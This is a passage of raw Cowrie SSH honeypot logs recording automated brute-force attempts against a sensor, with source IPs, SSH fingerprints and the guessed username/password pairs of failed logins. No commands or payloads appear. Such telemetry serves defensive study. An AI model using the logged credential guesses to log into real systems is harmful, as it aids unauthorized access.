ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:08.296542Z","src_ip":"176.65.139.95","session":"b2d78246e8e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:08.684318Z","src_ip":"176.65.139.95","session":"b2d78246e8e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:09.769299Z","src_ip":"176.65.139.95","session":"b2d78246e8e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57948,"dst_ip":"159.203.135.109","dst_port":22,"session":"b44986c9ef9c","protocol":"ssh","message":"New connection: 176.65.139.95:57948 (159.203.135.109:22) [session: b44986c9ef9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:14.652924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:14.657800Z","src_ip":"176.65.139.95","session":"b44986c9ef9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:14.765176Z","src_ip":"176.65.139.95","session":"b44986c9ef9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:15.023956Z","src_ip":"176.65.139.95","session":"b44986c9ef9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:16.114461Z","src_ip":"176.65.139.95","session":"b44986c9ef9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52772,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e5f93529a5a","protocol":"ssh","message":"New connection: 176.65.139.95:52772 (159.203.135.109:22) [session: 8e5f93529a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:21.177001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:21.182067Z","src_ip":"176.65.139.95","session":"8e5f93529a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:21.269515Z","src_ip":"176.65.139.95","session":"8e5f93529a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:21.706905Z","src_ip":"176.65.139.95","session":"8e5f93529a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:22.891676Z","src_ip":"176.65.139.95","session":"8e5f93529a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40496,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec9cd11f0e2c","protocol":"ssh","message":"New connection: 159.203.92.129:40496 (159.203.135.109:22) [session: ec9cd11f0e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:23.011484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:23.017136Z","src_ip":"159.203.92.129","session":"ec9cd11f0e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:23.022246Z","src_ip":"159.203.92.129","session":"ec9cd11f0e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"JinLingzi","password":"123","message":"login attempt [JinLingzi/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:23.034716Z","src_ip":"159.203.92.129","session":"ec9cd11f0e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:24.041138Z","src_ip":"159.203.92.129","session":"ec9cd11f0e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52780,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd89ae1ed5d1","protocol":"ssh","message":"New connection: 176.65.139.95:52780 (159.203.135.109:22) [session: bd89ae1ed5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:27.435915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:27.440441Z","src_ip":"176.65.139.95","session":"bd89ae1ed5d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:27.586668Z","src_ip":"176.65.139.95","session":"bd89ae1ed5d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:28.182694Z","src_ip":"176.65.139.95","session":"bd89ae1ed5d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:29.269348Z","src_ip":"176.65.139.95","session":"bd89ae1ed5d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42102,"dst_ip":"159.203.135.109","dst_port":22,"session":"a04844a04913","protocol":"ssh","message":"New connection: 176.65.139.95:42102 (159.203.135.109:22) [session: a04844a04913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:34.245056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:34.283963Z","src_ip":"176.65.139.95","session":"a04844a04913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:34.382610Z","src_ip":"176.65.139.95","session":"a04844a04913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:34.788865Z","src_ip":"176.65.139.95","session":"a04844a04913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:35.874471Z","src_ip":"176.65.139.95","session":"a04844a04913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43994,"dst_ip":"159.203.135.109","dst_port":22,"session":"f00b0871802e","protocol":"ssh","message":"New connection: 176.65.139.95:43994 (159.203.135.109:22) [session: f00b0871802e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:40.477743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:40.484627Z","src_ip":"176.65.139.95","session":"f00b0871802e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:40.595994Z","src_ip":"176.65.139.95","session":"f00b0871802e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:40.913483Z","src_ip":"176.65.139.95","session":"f00b0871802e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:41.997288Z","src_ip":"176.65.139.95","session":"f00b0871802e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44000,"dst_ip":"159.203.135.109","dst_port":22,"session":"6534797ffc81","protocol":"ssh","message":"New connection: 176.65.139.95:44000 (159.203.135.109:22) [session: 6534797ffc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:46.580250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:46.589990Z","src_ip":"176.65.139.95","session":"6534797ffc81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:46.663532Z","src_ip":"176.65.139.95","session":"6534797ffc81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:47.033405Z","src_ip":"176.65.139.95","session":"6534797ffc81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:48.288123Z","src_ip":"176.65.139.95","session":"6534797ffc81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34768,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbee0f252032","protocol":"ssh","message":"New connection: 176.65.139.95:34768 (159.203.135.109:22) [session: dbee0f252032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.373484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.378233Z","src_ip":"176.65.139.95","session":"dbee0f252032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.47.82","src_port":51772,"dst_ip":"159.203.135.109","dst_port":22,"session":"33784182fd02","protocol":"ssh","message":"New connection: 165.22.47.82:51772 (159.203.135.109:22) [session: 33784182fd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.398248Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.426517Z","src_ip":"165.22.47.82","session":"33784182fd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.431252Z","src_ip":"165.22.47.82","session":"33784182fd02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.47.82","src_port":51784,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5153d3d565a","protocol":"ssh","message":"New connection: 165.22.47.82:51784 (159.203.135.109:22) [session: f5153d3d565a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.437098Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.441740Z","src_ip":"165.22.47.82","session":"f5153d3d565a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.445450Z","src_ip":"165.22.47.82","session":"f5153d3d565a","protocol":"ssh"}
